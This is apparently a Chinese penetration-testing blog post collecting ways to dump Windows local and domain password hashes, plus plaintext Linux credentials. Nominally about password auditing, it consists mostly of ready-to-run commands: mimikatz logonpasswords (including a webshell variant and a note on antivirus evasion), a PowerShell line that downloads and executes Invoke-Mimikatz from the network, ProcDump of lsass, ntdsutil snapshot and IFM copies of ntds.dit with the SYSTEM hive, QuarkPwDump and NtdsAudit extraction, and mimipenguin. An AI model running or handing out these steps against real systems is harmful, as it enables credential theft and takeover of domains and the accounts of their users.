抓取 Windows 用户或者域用户 hash 的多种姿势


抓取 Windows 用户或者域用户 hash 的多种姿势

Ntds.dit是主要的AD数据库,包括有关域用户,组和组成员身份的信息。它还包括域中所有用户的密码哈希值。为了进一步保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。第二个加密步骤是为了执行密码转储以进行审计,需要两个文件的副本。

执行密码安全审核所需的主要步骤是获取包含信息的文件,从文件中转储密码哈希值,然后使用密码破解程序测试弱密码的这些哈希值。

通过获取Ntds.dit和SYSTEM文件的副本,最可靠的执行密码审计的方法是脱机的。由于Windows阻止这些操作阻止标准读取或复制,因此必须使用特殊技术来获取副本。

  • 使用mimikatz本机测试直接获取内存中的明文密码

  • mimikatz 只能抓取登陆过的用户hash,无法抓取所有用户,需要免杀

    privilege::debug
    sekurlsa::logonpasswords
    
  • 非交互式抓明文密码(webshell中)

    mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" > password.txt
    
  • powershell加载mimikatz抓取密码

    powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
    
  • ProcDump + Mimikatz

==ps:mimikatz的平台(platform)要与进行dump的系统(source dump)兼容(比如目标08的,本地就要用08系统来分析)==

远程主机:

Procdump.exe -accepteula -ma lsass.exe c:\a.dmp    
或者任务管理器找到lsass.exe进程右键创建转储文件

本地主机:mimikatz

sekurlsa::minidump a.dmp
sekurlsa::logonpasswords full
  • ntds.dit 的导出

ntdsutil win2008开始DC中自带的工具
交互式

ntdsutil
snapshot
activate instance ntds
create
mount [GUID]
//copy 完之后再执行
unmout  [GUID]
del [GUID]

非交互

ntdsutil snapshot "activate instance ntds" create quit quit
ntdsutil snapshot "mount {GUID}" quit quit
copy MOUNT_POINT\windows\ntds\ntds.dit c:\temp\ntds.dit
ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit

在线提取(直接在目标主机执行,实战中不选择此方式。)

QuarkPwDump.exe --dump-hash-domain --with-history --ntds-file c:\ntds.dit

离线提取 需要两个文件 ntds.dit 和 system.hive , 其中system.hive可通过reg save hklm\system system.hive获取

QuarkPwDump.exe --dump-hash-domain --with-history --ntds-file c:\ntds.dit --system-file c:\system.hive >c:\hash.txt
  • WINDOWS SERVER 2008-2016
    C:\> ntdsutil
    ntdsutil: activate instance ntds
    ntdsutil: ifm
    ifm: create full c:\audit
    ifm: quit
    ntdsutil: quit
    

解出ntds的hash

NtdsAudit.exe "ntds.dit" -s "SYSTEM" -p pwdump.txt --users-csv users.csv

NtdsAudit.exe下载地址

NtdsAudit需要ntds.dit Active Directory数据库,SYSTEM 如果转储密码哈希,则需要注册表配置单元。这些文件由域控制器锁定,因此无法简单地复制和粘贴。从域控制器获取这些文件的推荐方法是使用内置ntdsutil实用程序。

  • 以管理员身份打开命令提示符(cmd.exe)。要以管理员身份打开命令提示符,请单击“启动”。在“开始搜索”中,键入命令提示符。在“开始”菜单的顶部,右键单击“命令提示符”,然后单击“以管理员身份运行”。如果出现“用户帐户控制”对话框,请输入相应的凭据(如果已请求)并确认其显示的操作是您所需的操作,然后单击“继续”。

  • 在命令提示符下,键入以下命令,然后按ENTER键:

ntdsutil
  • 在ntdsutil提示符下,键入以下命令,然后按Enter:
activate instance ntds
  • 在ntdsutil提示符下,键入以下命令,然后按Enter:
ifm
  • 在ifm提示符下,键入以下命令,然后按Enter:
create full <Drive>:\<Folder>

<Drive>:\<Folder> 是要创建的文件的文件夹路径。

例如,以下命令将显示统计信息,输出pwdump.txt包含密码哈希值的文件,并输出users.csv包含每个用户帐户详细信息的文件。

ntdsaudit ntds.dit -s SYSTEM -p pwdump.txt -u users.csv

Linux 明文密码的获取

mimipenguin

git clone https://github.com/huntergregal/mimipenguin

支持的操作系统

os service supported
Ubuntu Desktop 12.04 LTS x64 gnome-keyring-daemon (3.18.3) Y
Ubuntu Desktop 16.04 LTS x64 gnome-keyring-daemon (3.18.3) Y
Fedora Workstation 25 (x86_64) gnome-keyring-daemon (3.20.0) Y
Fedora Workstation 27 (x86_64) gnome-keyring-daemon (3.20.1) Y
Kali-rolling x64 gnome-keyring-daemon (3.28.0.2) Y

文章作者: yaron
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yaron !
 上一篇
漏洞安全知识Wiki 漏洞安全知识Wiki
漏洞安全知识Wiki 本文从漏洞类型的维度进行知识体系的整理,包含了漏洞介绍、漏洞危害、攻击案例、检测方法、解决方案的内容,部分漏洞类型从代码层了解此类漏洞原理及修复方法。持续更新。
2021-06-08
下一篇 
搭建域环境 搭建域环境
域环境搭建 准备: DC: Windows 2008 server R2 DM: Windows 2003 server SP2 Windows 2008 server R2 (域控)
2021-06-08
  目录